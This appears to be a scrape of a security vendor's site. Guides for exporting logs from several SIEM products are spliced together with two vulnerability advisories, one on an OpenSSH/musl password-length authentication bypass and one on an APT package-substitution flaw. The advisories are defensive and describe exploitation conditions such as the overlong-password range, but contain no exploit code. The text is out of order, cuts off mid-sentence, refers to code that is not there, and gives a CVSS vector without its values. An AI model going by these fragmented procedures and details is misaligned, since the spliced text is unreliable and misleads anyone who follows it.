Run your search through the Helix search API: a POST to https://apps.fireeye.com/helix/id/<instance-id>/api/v1/search with your API key in the x-fireeye-api-key header and the query in the body. Regional instances use their own hosts, such as helix.eu.fireeye.com. The results come back as JSON, and the original log line is kept in the raw message field.
Trellix Helix, formerly FireEye Helix and called Helix Enterprise in newer docs, combines log search with detection content. Prime Core has 18,667 detection rules for Trellix Helix, mapped to 632 MITRE ATT&CK techniques. Below is how to get events out, sanitize them, and investigate them for free in LogTotal.
An API key. Create one in Trellix Identity and Access Management under API Keys, with the search scopes your query needs.
Your instance ID. It’s shown in the top-left corner of the Helix interface, and it goes into every API URL.
The query language. Helix uses TQL, which replaced MQL. Free-text terms without a field are matched against the raw message index. Build and test the query in the Helix search page first.
Use FortiSIEM’s REST event query API. Post an XML query to /phoenix/rest/query/eventQuery, which returns a query ID, poll the progress until it reaches 100, then fetch the events. The results come back as XML. The original log line of each event is in the rawEventMsg attribute, so a few lines of Python turn the result into raw logs. Exports from the Analytics screen come out in formats LogTotal doesn’t read today.
FortiSIEM is common wherever Fortinet runs the network, and it often holds far more than firewall logs. Prime Core has 19,692 detection rules for FortiSIEM, mapped to 664 MITRE ATT&CK techniques. Below is how to get events out, sanitize them, and investigate them for free in LogTotal.
An API user. Use an account with rights to run analytics queries. The API authenticates with basic auth, with the organization in the username: super/<user> on an enterprise install, <org>/<user> for a specific organization in a service provider install.
Retention. Online event storage is limited. Older events may sit in archive storage that needs extra steps.
Attribute names. FortiSIEM queries use its own attribute names, such as reptDevName (reporting device), reptDevIpAddr, eventType and phRecvTime. Build the filter in Analytics first.
The last two path segments are the start offset and the count. Page through large results in steps of 1,000. Then pull out the raw messages:
import xml.etree.ElementTree as ET
import xml.etree.ElementTree as ET root = ET.parse("fsm_web03_1019.xml").getroot() with open("fsm_web03_1019.log", "w") as out: for attr in root.iter("attribute"): if attr.get("name") == "rawEventMsg" and attr.text: out.write(attr.text.strip() + "\n")
Graylog keeps its messages in OpenSearch or Elasticsearch, so you have two routes. Use the Graylog REST API, authenticated with an access token, or query the backend indices (graylog_* by default) directly with a script. Either way you get JSON. The original line is in message, and in full_message for some inputs. The export in the Graylog web interface produces a format LogTotal doesn’t read today.
Graylog is a popular open log management platform, often the first central logging a team sets up. Prime Core has 23,274 detection rules for Graylog, mapped to 671 MITRE ATT&CK techniques. Below is how to get messages out, sanitize them, and investigate them for free in LogTotal.
An access token. In Graylog, open your user’s settings and create a token. With the API, you authenticate as <token>:token: the token as the username and the word token as the password.
Backend access, if you go direct. The OpenSearch or Elasticsearch cluster behind Graylog often isn’t reachable from outside. Ask whoever runs it for a read-only account.
Streams and index sets. Graylog routes messages into streams, and streams map to index sets with their own prefixes and retention. Know which index set holds your data.
Newer Graylog versions favor the Views search API. For large exports, Option 2 is more reliable.
Option 2: Query the backend indices
This is the same approach as our pointed at Graylog’s indices:
import json, os from opensearchpy import OpenSearch, helpers client = OpenSearch("https://opensearch.example.com:9200", http_auth=("reader", os.environ["OS_PASSWORD"]), verify_certs=True) query = {"query": {"bool": {"filter": [ {"term": {"source": "web-03"}}, {"range": {"timestamp": {"gte": "2026-10-19 00:00:00.000", "lt": "2026-10-20 00:00:00.000"}}}, ]}}} with open("graylog_web03_1019.jsonl", "w") as out: for hit in helpers.scan(client, index="graylog_*", query=query, size=1000): out.write(json.dumps(hit["_source"]) + "\n")
Graylog stores timestamp as yyyy-MM-dd HH:mm:ss.SSS in UTC, which is why the range uses that format. For a backend running Elasticsearch, use the elasticsearch client the same way.
Wazuh keeps its data in two places. On the Wazuh manager, alerts are written to /var/ossec/logs/alerts/alerts.json, one JSON object per line, and rotated daily into compressed files by date. The same alerts are indexed in the Wazuh indexer (OpenSearch), in wazuh-alerts-4.x-*. Either way, the original log line that triggered an alert is in full_log. To export every event, not just the ones that matched a rule, the manager needs archiving turned on.
Wazuh is the most widely used open-source SIEM and XDR, and its data is easy to get at once you know where to look. Prime Core has 23,542 detection rules for Wazuh, mapped to 671 MITRE ATT&CK techniques. Below is how to export alerts and events, sanitize them, and investigate them for free in LogTotal.
Alerts or archives? Alerts are the events that matched a Wazuh rule above the alert level threshold. Archives hold everything the manager received, but only if logall_json is enabled in ossec.conf. If the question is “what else happened on that host?”, you want archives, and they only exist from the moment they were turned on.
Permissions. On the manager, the files are owned by the wazuh user and group, so use sudo. For the indexer, you need a user with read access to the alert indices.
Retention. The manager’s rotated files stay until someone deletes them. The indexer keeps what its index lifecycle policy allows.
Option 1: Files on the manager
# today's alerts so far sudo cp /var/ossec/logs/alerts/alerts.json ./wazuh_alerts_today.jsonl # a past day (rotated and compressed) sudo zcat /var/ossec/logs/alerts/2026/Oct/ossec-alerts-19.json.gz > wazuh_alerts_1019.jsonl # one agent only jq -c 'select(.agent.name == "web-03")' wazuh_alerts_1019.jsonl > web-03_alerts_1019.jsonl # the original log lines behind the alerts jq -r '.full_log // empty' web-03_alerts_1019.jsonl > web-03_raw_1019.log
With archiving enabled, the same pattern works for /var/ossec/logs/archives/archives.json and its rotated files under /var/ossec/logs/archives/<year>/<month>/.
Option 2: The Wazuh indexer
The indexer is OpenSearch, so our applies as written. Point it at wazuh-alerts-* and filter on agent.name and timestamp:
The Wazuh dashboard can also generate reports, but not in a format LogTotal reads today.
Upload, sanitize and review in LogTotal
Upload. Open logtotal.com and drop in the file: the alert JSON, or the raw lines from full_log.
Sanitize.
Review.
When it goes wrong
Symptom
Likely cause
Fix
Permission denied on the manager
Files belong to the wazuh user
Use sudo
archives.json empty or missing
logall_json isn’t enabled
Enable it for the future; use alerts for the past
No file for a past day
Different rotation path or naming
List /var/ossec/logs/alerts/<year>/<month>/
Some alerts have no full_log
Not every alert comes from a log line (integrity checks, vulnerability detection)
Upload the alert JSON instead
Indexer returns 403
User lacks read access to wazuh-alerts-*
Grant read on the alert indices
FAQ
Can I use the Wazuh API to export alerts?
The Wazuh server API is for managing agents and configuration, not for searching alerts. Use the files or the indexer.
Raw lines or alert JSON?
Raw lines (full_log) when you want LogTotal to run its own detections on the original logs. Alert JSON when you also want Wazuh’s rule matches in the file.
A high-severity vulnerability in OpenSSH can allow unauthenticated remote attackers to bypass password authentication on certain Linux systems by submitting an overlong password. Tracked as CVE-2026-123158 and dubbed SSHhole, the flaw carries a CVSS 3.1 score of 8.1 and primarily impacts Linux environments where sshd is linked against musl libc and operates without PAM. Alpine Linux is the most prominent affected platform because its standard openssh-server package uses this configuration by default.
The vulnerability results from an unexpected interaction between OpenSSH password validation and musl libc’s crypt() implementation. When an excessively long password is supplied, crypt() can return the string * to indicate an error. Some Linux accounts that are configured without a conventional password also store * in the password field of /etc/shadow. Under vulnerable conditions, sshd can incorrectly interpret the matching values as successful authentication.
An attacker does not need to know the target user’s password. If an exposed SSH service meets the required conditions, an attacker who can reach the service can authenticate to certain accounts using a password in the vulnerable length range. The impact depends on the privileges assigned to the compromised account. Access to a privileged service account or an account capable of using doas or another privilege escalation mechanism could lead to full system compromise.
OpenSSH addressed the issue in Portable OpenSSH 10.6p2, released on November 5, 2026. Alpine Linux simultaneously released patched OpenSSH packages for all supported branches and several older branches. The OpenSSH team describes the release as containing a critical security workaround for Linux systems using musl libc with PAM disabled.
Public reproduction environments and proof-of-concept material are already available. However, as of November 6, 2026, the reviewed sources do not report confirmed exploitation of the vulnerability in real-world attacks, and the flaw has not been added to CISA’s Known Exploited Vulnerabilities catalog.
Organizations can strengthen defenses against emerging authentication bypass vulnerabilities with SOC Prime’s AI-Native Detection Intelligence Platform, accelerating threat hunting and detection engineering across SIEM, EDR, XDR, and Data Lake environments.
Security teams can also use Prime Architect to transform vulnerability intelligence into hunting queries and detection logic tailored to their available SSH, authentication, endpoint, and network telemetry.
Detect CVE-2026-123158 by monitoring successful password-based SSH logins to accounts that normally use key-only authentication, unusual authentication attempts containing abnormally long passwords, unexpected remote access to service accounts, and post-authentication activity inconsistent with the account’s normal behavior.
Detection content may not be available for every CVE. Check the SOC Prime Platform for current coverage. If relevant detections are not yet available, check again as new threat intelligence and detection content are continuously added.
CVE-2026-123158 analysis
CVE-2026-123158 affects OpenSSH sshd before Portable OpenSSH 10.6p2 when it runs on Linux with musl libc and password authentication occurs without PAM. The CVE carries a CVSS 3.1 score of 8.1 with the vector AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H, reflecting remote exploitation without prior privileges or user interaction but requiring a specific system and account configuration.
The root cause lies in the interaction between OpenSSH and the password hashing function provided by musl libc.
On systems where PAM is disabled, sshd performs password validation using the system’s crypt() functionality. For a typical account, /etc/shadow contains a cryptographic password hash, and the value generated from the user’s submitted password is compared against that stored hash.
musl libc behaves differently when the supplied password exceeds its supported input length. For passwords longer than 256 bytes, crypt() returns * as an error value rather than a normal password hash.
The problem arises because * is also commonly used in /etc/shadow for accounts that do not have a traditional password configured.
If a vulnerable sshd receives an overlong password for one of these accounts, the authentication flow can effectively compare the * returned by crypt() with the * stored in the account’s shadow entry. The values match, and authentication can incorrectly succeed.
The CVE description states that, for affected account configurations, passwords between 256 and 1024 characters can result in successful authentication. Independent reproductions describe passwords exceeding the normal 256-byte boundary as sufficient to trigger the vulnerable condition.
The flaw is therefore not a universal password bypass affecting every OpenSSH deployment.
Several specific conditions must align.
First, the server must use musl libc. Alpine Linux is the primary mainstream example, although other embedded or minimal Linux environments can also use musl.
Second, sshd must authenticate users without PAM. Alpine’s standard openssh-server package is built without PAM, while the alternative openssh-server-pam configuration is protected when UsePAM yes is enabled.
Third, password authentication must be enabled. PasswordAuthentication yes is the relevant configuration. Systems configured for public-key-only authentication with PasswordAuthentication no are not exposed to the documented attack path.
Finally, the attacker needs an account whose password field contains *. These can include key-only users, accounts created without passwords, some identities provided through directory services, and certain cloud-image users.
Alpine also notes an additional condition: at least one local account must contain a $5$ or $6$-style password hash for the vulnerable authentication path to operate as described.
The root account deserves special attention. Alpine commonly stores root:*, but OpenSSH’s default PermitRootLogin prohibit-password prevents password authentication directly to root. As a result, a standard Alpine installation does not automatically expose direct root login through this bug.
That protection does not eliminate the broader risk. If another account with * in its password field is remotely accessible and has administrative rights through doas, sudo, container capabilities, or other privileged mechanisms, successful authentication can still provide a path to complete system compromise.
Alpine’s official tiny-cloud images are particularly relevant. Security research identified versions where the alpine account could meet the vulnerable conditions and was also able to use doas to gain elevated privileges. This illustrates why defenders should evaluate account privileges rather than assuming the vulnerability provides either harmless user access or automatic root access in every environment.
glibc-based Linux distributions such as Debian, Ubuntu, and RHEL are not affected by this specific vulnerability because the vulnerable behavior depends on musl libc’s password hashing implementation. Systems using PAM for SSH password validation are likewise outside the documented vulnerable configuration.
Containers require similar qualification. Alpine is widely used as a container base image, but ordinary containers that do not run sshd are not vulnerable through this attack path. The primary concern is containers, appliances, development environments, or legacy workloads that explicitly install and expose an SSH server.
The CVE-2026-123158 PoC landscape has developed quickly. Public reproduction labs are referenced directly by the vulnerability record, demonstrating that defenders should assume the authentication bypass can be reproduced without access to private exploit research. This materially raises remediation urgency even though confirmed malicious exploitation has not yet been reported.
The vulnerability was reported by Özgün Kültekin of Wakefield. OpenSSH publicly released version 10.6p2 with the security workaround on November 5, 2026. The reviewed primary sources do not specify the exact date on which the researcher initially discovered or privately reported the issue.
The OpenSSH fix adds validation designed to prevent error values and invalid short password hashes from being accepted during password authentication. OpenSSH notes that it considers the underlying root cause to exist outside sshd, but because the condition can be exploited through the SSH server, the project implemented a defensive workaround in OpenSSH itself.
Alpine Linux has backported the correction across multiple branches:
Alpine branch
Fixed OpenSSH package
edge
10.6_p2-r0
3.24
10.3_p1-r2
3.23
10.2_p1-r1
3.22
10.0_p1-r11
3.21
9.9_p2-r1
3.20
9.7_p1-r6
3.19
9.6_p1-r3
3.18
9.3_p2-r4
3.17
9.1_p1-r7
3.16
9.0_p1-r6
Administrators should rely on their distribution package status rather than the SSH version banner alone. Linux distributions frequently backport security patches without changing the upstream OpenSSH version displayed during the SSH handshake. A server displaying an older version string may therefore already contain the vendor fix.
For CVE-2026-123158 detection, defenders should prioritize SSH authentication telemetry. A particularly strong hunting signal is a successful password login to an account that is intended to use only public-key authentication or that has no usable password configured.
On Alpine systems, administrators can review /var/log/messages, centralized authentication logs, SIEM records, or equivalent telemetry for Accepted password events involving unexpected service, key-only, or administrative accounts.
Defenders should correlate successful authentication with source IP addresses, login times, session duration, commands executed after login, privilege elevation, changes to authorized_keys, account creation, scheduled jobs, and unexpected outbound network connections.
Network telemetry can also help identify exposed systems. Externally reachable SSH services advertising password or keyboard-interactive authentication should receive higher remediation priority, particularly when the underlying system is Alpine or another musl-based distribution.
At present, there are no campaign-specific CVE-2026-123158 IOCs such as confirmed attacker IP addresses, domains, malware hashes, or command-and-control infrastructure. The absence of static indicators makes behavioral monitoring of SSH authentication and subsequent session activity particularly important.
CVE-2026-123158 Mitigation
The primary remediation is to install OpenSSH 10.6p2 or the corrected package supplied by the Linux distribution. Alpine administrators should update the full system using the current package repositories and restart sshd afterward. Updating the package alone does not replace the already running SSH daemon process.
Organizations running Alpine-based containers should rebuild and redeploy any image that installs openssh-server. Simply updating the host operating system does not patch vulnerable OpenSSH packages embedded inside container images.
Administrators should also identify exposure before assuming that every Alpine host is vulnerable. Key checks include:
Determine whether the host uses musl libc.
Verify whether sshd is running with PAM disabled.
Check whether password authentication is enabled.
Identify login-capable accounts whose /etc/shadow password field is *.
Review the privileges assigned to those accounts.
Confirm the installed OpenSSH package against the distribution’s corrected package version.
If immediate patching is impossible, organizations should disable SSH password authentication.
Configure:
PasswordAuthentication no
and, where applicable:
KbdInteractiveAuthentication no
Administrators should confirm that public-key authentication works before applying this configuration to avoid losing legitimate administrative access.
The SSH configuration should then be validated and the daemon reloaded or restarted. Afterward, external verification should confirm that the server offers only public-key authentication.
Restricting network accessibility provides additional defense in depth. SSH should generally be reachable only from trusted administrative networks, VPN infrastructure, bastion hosts, or explicit source-IP allowlists rather than being universally exposed to the internet.
Organizations should also reconsider whether SSH is required inside containers at all. Modern orchestration environments usually provide alternatives such as docker exec or kubectl exec, eliminating an unnecessary remotely reachable authentication service.
For potentially exposed systems, review historical successful password logins occurring before remediation. Pay particular attention to accounts configured without passwords and identities normally expected to authenticate exclusively with SSH keys.
If an unexpected successful login is identified, treat the account as potentially compromised. Review shell history where available, process execution, privilege escalation, new or modified authorized_keys entries, user and group changes, cron jobs, startup scripts, package installation, and outbound network connections.
Credentials and keys accessible to the compromised account should be considered potentially exposed and rotated according to the findings of the investigation. If the account had administrative privileges, defenders should expand the investigation to the entire host and any systems reachable using credentials stored there.
Public proof-of-concept material means organizations should not wait for evidence of widespread attacks before applying the fix. The exploitation prerequisites narrow the vulnerable population, but systems that meet those conditions can be accessed remotely without knowledge of a valid password.
FAQ
What is CVE-2026-123158 and how does it work?
CVE-2026-123158 is a password authentication bypass affecting OpenSSH sshd on Linux systems using musl libc without PAM. When an excessively long password is passed to musl’s crypt() function, it can return * as an error value. If the target account also has * stored in /etc/shadow, vulnerable sshd configurations can incorrectly treat the values as matching and allow authentication.
When was CVE-2026-123158 first discovered?
The vulnerability was reported by Özgün Kültekin of Wakefield. OpenSSH published the security fix in Portable OpenSSH 10.6p2 on November 5, 2026, and the CVE became public the same day. The currently reviewed primary advisories do not disclose the exact date of the researcher’s original private discovery.
What is the impact of CVE-2026-123158 on systems?
Successful exploitation allows an unauthenticated remote attacker to log in to a qualifying account without knowing its password. The resulting impact depends on that account’s permissions. Compromise of a service or standard account can expose data and application resources, while access to an account with doas, sudo, or equivalent privileges can potentially lead to complete system compromise.
Can CVE-2026-123158 still affect me in 2026?
Yes. Vulnerable OpenSSH installations remain exposed until patched or password authentication is disabled. The highest-risk systems are musl-based Linux environments such as Alpine Linux running sshd without PAM and containing qualifying passwordless accounts. Public reproduction material exists, although no confirmed exploitation in the wild has been reported as of November 6, 2026.
How can I protect myself from CVE-2026-123158?
Upgrade to OpenSSH 10.6p2 or your distribution’s patched package and restart sshd. If patching cannot be completed immediately, disable password and keyboard-interactive authentication, restrict SSH exposure to trusted networks, and review successful password logins for suspicious activity. Administrators should continue monitoring vendor advisories for updated details for CVE-2026-123158 as exploitation intelligence evolves.
Use the Log Search API. Send a LEQL query for a log and a time window to https://<region>.rest.logs.insight.rapid7.com/query/logs/<log-key> with your API key in the X-Api-Key header. The API returns events in pages and gives you a link to the next one. Log Search in the UI can export results too.
InsightIDR collects endpoint, network and cloud logs for Rapid7 customers, and its Log Search is where investigations usually start. Prime Core has 23,965 detection rules for InsightIDR, mapped to 676 MITRE ATT&CK techniques. Below is how to get logs out, sanitize them, and investigate them for free in LogTotal.
An API key. Create one in the Insight Platform settings (an organization key or a user key) with access to InsightIDR.
Your region. The host depends on where your data lives: us, us2, us3, eu, ca, au, ap.
Log keys. Each log has a key, and queries run against one or more of them. List them with the API, as shown below.
Retention. How far back Log Search goes depends on your subscription.
Export with the Log Search API
REGION=us BASE="https://$REGION.rest.logs.insight.rapid7.com" FROM=$(date -d '2026-10-19T00:00:00Z' +%s000) TO=$(date -d '2026-10-20T00:00:00Z' +%s000) Q=$(printf '%s' 'where(hostname=web-03)' | jq -sRr @uri) # list logs and their keys curl -sS -H "X-Api-Key: $R7_KEY" "$BASE/management/logs" | jq -r '.logs[] | "\(.id) \(.name)"' # query one log, following the pages URL="$BASE/query/logs/<log-key>?query=$Q&from=$FROM&to=$TO&per_page=500" while [ -n "$URL" ]; do RESP=$(curl -sS -H "X-Api-Key: $R7_KEY" "$URL") echo "$RESP" | jq -c '.events[]?' URL=$(echo "$RESP" | jq -r '.links[]? | select(.rel == "Next") | .href' | head -1) done > r7_web03_1019.jsonl
Long-running queries may first answer with a link to poll instead of results. Each event’s message field holds the log entry. Extract it with jq -r ‘.message’ when the source was text.
Use LogPoint’s Search API, which works in two calls to the same endpoint, /getsearchlogs. The first call sends your query, time range and repos, and returns a search_id. The second call sends that search_id and returns the rows once the search is final. Both calls are form-encoded POSTs authenticated with your username and secret key.
LogPoint is a popular SIEM in Europe, and the Search API is the cleanest way to get a defined slice of its data out. Prime Core has 19,598 detection rules for LogPoint, mapped to 664 MITRE ATT&CK techniques. Below is how to get logs out, sanitize them, and investigate them for free in LogTotal.
Your secret key. Every API call carries your LogPoint username and secret key. You find the key in your user profile’s access key settings. Treat it like a password.
Repo names. Searches run against repos, written as <ip>:5504/<repo>, for example 127.0.0.1:5504/_logpoint. The same endpoint family lists them for you (getalloweddata with type logpoint_repos).
Time range. time_range takes either a preset like “Last 24 hours” or a pair of epoch seconds. For incident work, use the epoch pair; date -d ‘2026-10-19T00:00:00Z’ +%s computes it.
In NetWitness Investigate, run your query in the Events view, select the events (or all of them), and download the logs. Pick Text to get the raw log lines, or JSON for structured events. Large downloads run as jobs; you collect the file from the Jobs tray when it’s ready. By default, one export can include up to 100,000 sessions.
NetWitness, formerly RSA NetWitness, stores logs on Log Decoders and makes them searchable through Concentrators and Brokers. Prime Core has 18,461 detection rules for NetWitness, mapped to 631 MITRE ATT&CK techniques. Below is how to get logs out, sanitize them, and investigate them for free in LogTotal.
Before you start
Access to Investigate. You need a role that can investigate the service (Broker or Concentrator) holding the logs.
Set the export format once. In Profile → Preferences → Investigation, the Export Log Format preference decides the default format for downloads: Text, XML, CSV or JSON. Choose Text for raw logs. If it’s left empty, NetWitness asks every time.
Retention. How far back you can go depends on Log Decoder storage. Older logs may only exist in an archiver, if you have one.
Export from Investigate
Open Investigate → Events, pick the service, and set the time range.
Query with meta keys (example below).
Run the query and check the count.
Select the events you want, or none to take all of them, and choose the download option for logs (Text or JSON).
Open the Jobs tray (the stopwatch icon) and download the file when the job finishes.
A query for one Linux host looks like this. For Windows logs, device.type = ‘winevent_nic’ is the common log parser.
device.type = 'rhlinux' && alias.host = 'web-03'
For a single event, the Text tab of the event details has its own download options for the raw log.
The Max Session Export setting caps how many sessions one export can include (100,000 by default). For bigger windows, split by time.
Option 2: REST API on the services
Concentrators and Brokers expose a REST interface that can run queries and return log content. That suits scripted exports.
Use the Devo Query API: send a LINQ query, a time range and an output mode to the /search/query endpoint of your region, authenticated with an API token or key and secret. Ask for a JSON mode and you get structured events; select the message field from raw tables to get the original lines back. The official Python SDK (devo-sdk) wraps the same API if you prefer code to curl.
Devo stores large volumes of security and operational data in the cloud, often with long retention. Prime Core has 23,653 detection rules for Devo, mapped to 664 MITRE ATT&CK techniques. Below is how to get data out, sanitize it, and investigate it for free in LogTotal.
Credentials. Create an API token, or an API key and secret, in your Devo domain’s credentials settings, with access to the tables you need.
Your region’s endpoint. The Query API host depends on where your domain lives, for example apiv2-us.devo.com or apiv2-eu.devo.com.
Table names. Devo organizes data in tables like box.unix or firewall.fortinet.traffic. Find yours in the Data Search area, and build the query there first.
The from and to values above are epoch seconds for 2026-10-19 00:00 UTC to 2026-10-20 00:00 UTC. If the response is one JSON object per line, upload it as-is. If it’s an array, flatten it with jq -c ‘.[]’. For raw lines, extract message.
Python alternative. pip install devo-sdk, then use the API client from the devo.api package with your token, the same query and dates. It handles the request signing for key-and-secret authentication.
A high-severity vulnerability in APT, the package management system used by Debian, Ubuntu, and derivative Linux distributions, could allow an on-path attacker to replace a verified software package with a malicious one and execute arbitrary code with root privileges. Tracked as CVE-2026-109518, the flaw carries a CVSS 4.0 score of 7.7 and affects APT’s HTTP download and retry handling.
The vulnerability is caused by improper handling of hard links when APT follows HTTP redirects and retries failed package downloads. Under the right conditions, two different downloads can be merged after a redirect causes them to resolve to the same URI. An attacker able to manipulate traffic between an APT client and a repository can abuse this behavior to substitute an attacker-controlled .deb package after verification has already taken place.
Because Debian packages can execute installation scripts with root privileges, successful exploitation can result in complete system compromise. However, exploitation requires several conditions: the victim must initiate a package installation, APT must communicate over manipulable HTTP, and the Acquire::Retries option must be set to a non-zero value.
Ubuntu 22.04 LTS and newer releases are exposed by default because retries are enabled. Debian has similarly enabled retries by default since APT 2.3.2, including Debian 12. Older releases can still be vulnerable when administrators or automation scripts manually enable retries.
The vulnerability was discovered by security researcher Max Justicz and publicly disclosed on November 4, 2026. Debian and Ubuntu released security updates on the same day. Neither vendor advisory currently reports exploitation of the flaw in real-world attacks.
Security teams can use SOC Prime’s AI-Native Detection Intelligence Platform to operationalize threat intelligence and strengthen defenses against software supply-chain attacks, package manager abuse, malicious payload execution, and post-compromise activity across SIEM, EDR, XDR, and Data Lake environments.
Detect CVE-2026-109518 by monitoring suspicious changes in package repository traffic, unexpected redirects or repeated package-download failures, anomalous package installations, and new privileged processes occurring immediately after APT activity.
Detection content may not be available for every CVE. Check the SOC Prime Platform for current coverage. If relevant detections are not yet available, check again as new threat intelligence and detection content are continuously added.
CVE-2026-109518 analysis
CVE-2026-109518 affects APT deployments on Debian, Ubuntu, and derivative Linux distributions when package files are downloaded over an attacker-manipulable HTTP path and retry functionality is enabled. Ubuntu classifies the vulnerability as High with a CVSS 4.0 score of 7.7 and the vector CVSS:4.0/AV/AC/AT/PR/UI/VC/VI/VA/SC/SI/SA.
APT is responsible for downloading, verifying, and installing packages on Debian-based Linux systems. Package authenticity normally relies on Debian and Ubuntu repository signature mechanisms designed to ensure that packages delivered by mirrors cannot be silently modified by an untrusted intermediary.
CVE-2026-109518 breaks an important part of this trust model under specific download conditions.
The vulnerability occurs when APT handles HTTP redirects and retries. According to Debian’s advisory, APT can merge two separate package downloads when a redirect causes them to share the same URI. When a download subsequently needs to be resumed, incorrect handling of reused hard links can allow the content associated with an already verified package to be overwritten.
An attacker first needs the ability to manipulate HTTP traffic between the victim and the package archive. Potential positions include a malicious or compromised network intermediary, proxy, Wi-Fi network, or package mirror. Ubuntu explicitly includes malicious mirrors and proxies in its threat model.
The attacker can then use redirects together with transient HTTP errors to force APT into its retry path. When APT retries the package download, the flaw in hard-link handling can cause attacker-controlled data to replace content associated with a package that has already passed verification.
This allows the malicious package to bypass the protection normally provided by repository signatures.
The impact becomes particularly severe because .deb packages can contain maintainer scripts executed during installation. These scripts run with root privileges when packages are installed, meaning an attacker who successfully substitutes a package can execute commands with full system privileges.
The vulnerability does not mean that every Debian or Ubuntu host can be compromised remotely at any time. The attack requires the victim system to perform a package installation or upgrade while the attacker can interfere with the network path.
Another important prerequisite is Acquire::Retries.
APT uses this option to determine whether failed downloads should automatically be retried. The vulnerable behavior requires a value greater than zero. Debian’s APT developers state that retries have been enabled by default since APT 2.3.2, while Ubuntu confirms that Ubuntu 22.04 LTS and newer releases use a non-zero default value.
Older systems are therefore not necessarily safe. Although Ubuntu 20.04 LTS and earlier releases do not enable retries by default, custom configuration, deployment automation, or administrator scripts can set Acquire::Retries manually and make those systems exploitable.
The vulnerability exists in APT’s HTTP backend and therefore applies across APT-based frontends, including apt, apt-get, aptitude, and graphical Ubuntu applications that ultimately use the same underlying package management infrastructure. Snap packages are not affected because they use a different distribution mechanism.
HTTPS also changes the attack surface significantly. Ubuntu states that TLS protects against this vulnerability because the attacker must be able to modify HTTP traffic in transit. Package sources accessed exclusively over properly validated HTTPS are therefore protected from the documented on-path attack method. FTP and unrelated transport mechanisms are not affected by this specific issue.
The CVE-2026-109518 PoC situation should be interpreted carefully. Debian and Ubuntu’s official advisories do not link to a public exploit demonstrating full root compromise, and they do not report malicious exploitation in the wild. The technical information released by APT developers nevertheless explains enough of the redirect, retry, and hard-link behavior for defenders to understand the attack requirements.
The weakness is associated with improper hard-link handling and a time-of-check/time-of-use condition. The CVE record maps it to CWE-62, UNIX Hard Link, and CWE-367, Time-of-check Time-of-use Race Condition.
APT developers released fixed versions across multiple maintained branches:
APT branch
Fixed version
1.2.x
1.2.36
1.4.x
1.4.12
1.6.x
1.6.19
1.8.2.x
1.8.2.4
2.0.x
2.0.12
2.2.x
2.2.5
2.4.x
2.4.15
2.6.x
2.6.2
2.8.x
2.8.4
3.0.x
3.0.4
3.2.x
3.2.1
Debian 13 “Trixie” received APT 3.0.4, while Debian 12 “Bookworm” received version 2.6.2.
Ubuntu released the following corrected packages:
Ubuntu release
Fixed APT version
26.10
3.3.3ubuntu0.1
26.04 LTS
3.2.1ubuntu0.1
24.04 LTS
2.8.4ubuntu0.1
22.04 LTS
2.4.15ubuntu0.1
20.04 LTS
2.0.12+esm1
18.04 LTS
1.6.19+esm1
16.04 LTS
1.2.36+esm1
14.04 LTS
1.0.1ubuntu2.24+esm4
Updates for older Ubuntu releases require the applicable Ubuntu Pro or Extended Security Maintenance coverage.
For CVE-2026-109518 detection, security teams should correlate package-management activity with network and endpoint telemetry. Repeated HTTP redirects, transient download failures immediately followed by successful package retrieval, unexpected repository destinations, or package installation from unusual network paths can provide useful investigation pivots.
Endpoint monitoring should also identify unusual child processes spawned during or immediately after APT or dpkg execution. Because successful exploitation results in an attacker-controlled package being installed as root, suspicious shell execution, new services, altered system files, persistence mechanisms, user creation, credential access, or unexpected outbound connections following package installation should be treated as high-priority indicators.
APT and dpkg logs can provide additional context. Defenders should review /var/log/apt/, /var/log/dpkg.log, system journal records, proxy telemetry, DNS logs, and network security data around suspicious package operations. Comparing installed package versions and checksums against trusted distribution repositories can help identify unexpected modifications.
At present, vendor advisories provide no attacker infrastructure, malware hashes, or campaign-specific CVE-2026-109518 IOCs because Debian and Ubuntu have not reported active malicious exploitation. Behavioral monitoring is therefore more valuable than searching for a static IOC list.
CVE-2026-109518 Mitigation
The primary remediation is to install the updated APT package supplied by Debian, Ubuntu, or the relevant derivative distribution. Administrators should not rely solely on network controls because the corrected APT implementation prevents the package verification bypass at its source.
Ubuntu recommends updating all installed packages while explicitly disabling retries during the update process:
Setting retries to zero during this operation prevents the vulnerable retry path from being used while the security update itself is downloaded and installed.
Security teams should take the following steps:
Inventory Debian, Ubuntu, and derivative Linux systems using APT.
Identify the installed APT version and compare it with the vendor-fixed release.
Prioritize internet-connected systems and environments using untrusted, third-party, or community package mirrors.
Apply the vendor security update with Acquire::Retries=0.
Confirm that the corrected APT package is installed.
Review /etc/apt/sources.list and files under /etc/apt/sources.list.d/ for unexpected HTTP repositories.
Move package sources from HTTP to HTTPS where supported.
Review proxy and package mirror infrastructure for signs of compromise or unauthorized modification.
Investigate unexpected package installations that occurred before the fix was deployed.
Ubuntu confirms that changing package repositories to HTTPS provides protection against the documented attack because exploitation requires modification of HTTP traffic. Administrators should first verify that their selected repository mirrors support TLS and then run sudo apt update to ensure that the configuration operates without errors.
Using HTTPS should be treated as defense in depth rather than a substitute for updating APT. Systems may later use another repository, proxy, automation workflow, or HTTP endpoint, so installing the corrected package remains necessary.
Temporarily setting Acquire::Retries to zero provides another effective workaround against the documented exploitation condition. Since the flaw depends on APT retrying a failed download, disabling retries prevents the vulnerable code path from being reached. This setting can reduce package-download reliability, however, and should primarily be used while applying the actual security update.
Organizations using unattended upgrades should verify patch deployment rather than assuming every machine has already been corrected. Ubuntu notes that unattended-upgrades is enabled by default from Ubuntu 16.04 LTS onward and normally applies security updates within 24 hours, but fleet management, network restrictions, custom repository configurations, or disabled services can prevent successful installation.
If compromise is suspected, administrators should preserve APT, dpkg, proxy, network, and system logs before remediation. Review packages installed during the suspected exposure window, validate package provenance, inspect maintainer scripts, and investigate any root-level processes or persistence established immediately afterward.
Because a malicious package can run arbitrary commands as root, confirmed exploitation should be treated as full system compromise. Rebuilding the affected host from trusted media may be more reliable than attempting to remove individual artifacts, especially when the attacker could have modified system binaries, services, authentication configuration, or kernel-level components.
FAQ
What is CVE-2026-109518 and how does it work?
CVE-2026-109518 is a high-severity package verification bypass in APT. An on-path attacker who can manipulate HTTP traffic can use redirects and transient download failures to make APT retry a package download. Improper hard-link handling can then allow attacker-controlled content to replace a package after verification. When the malicious .deb is installed, its scripts can execute with root privileges.
When was CVE-2026-109518 first discovered?
Security researcher Max Justicz discovered and responsibly reported the vulnerability. The available Debian and Ubuntu advisories do not provide the exact date of the original private report. The CVE was reserved on October 12, 2026 and publicly disclosed with vendor security updates on November 4, 2026.
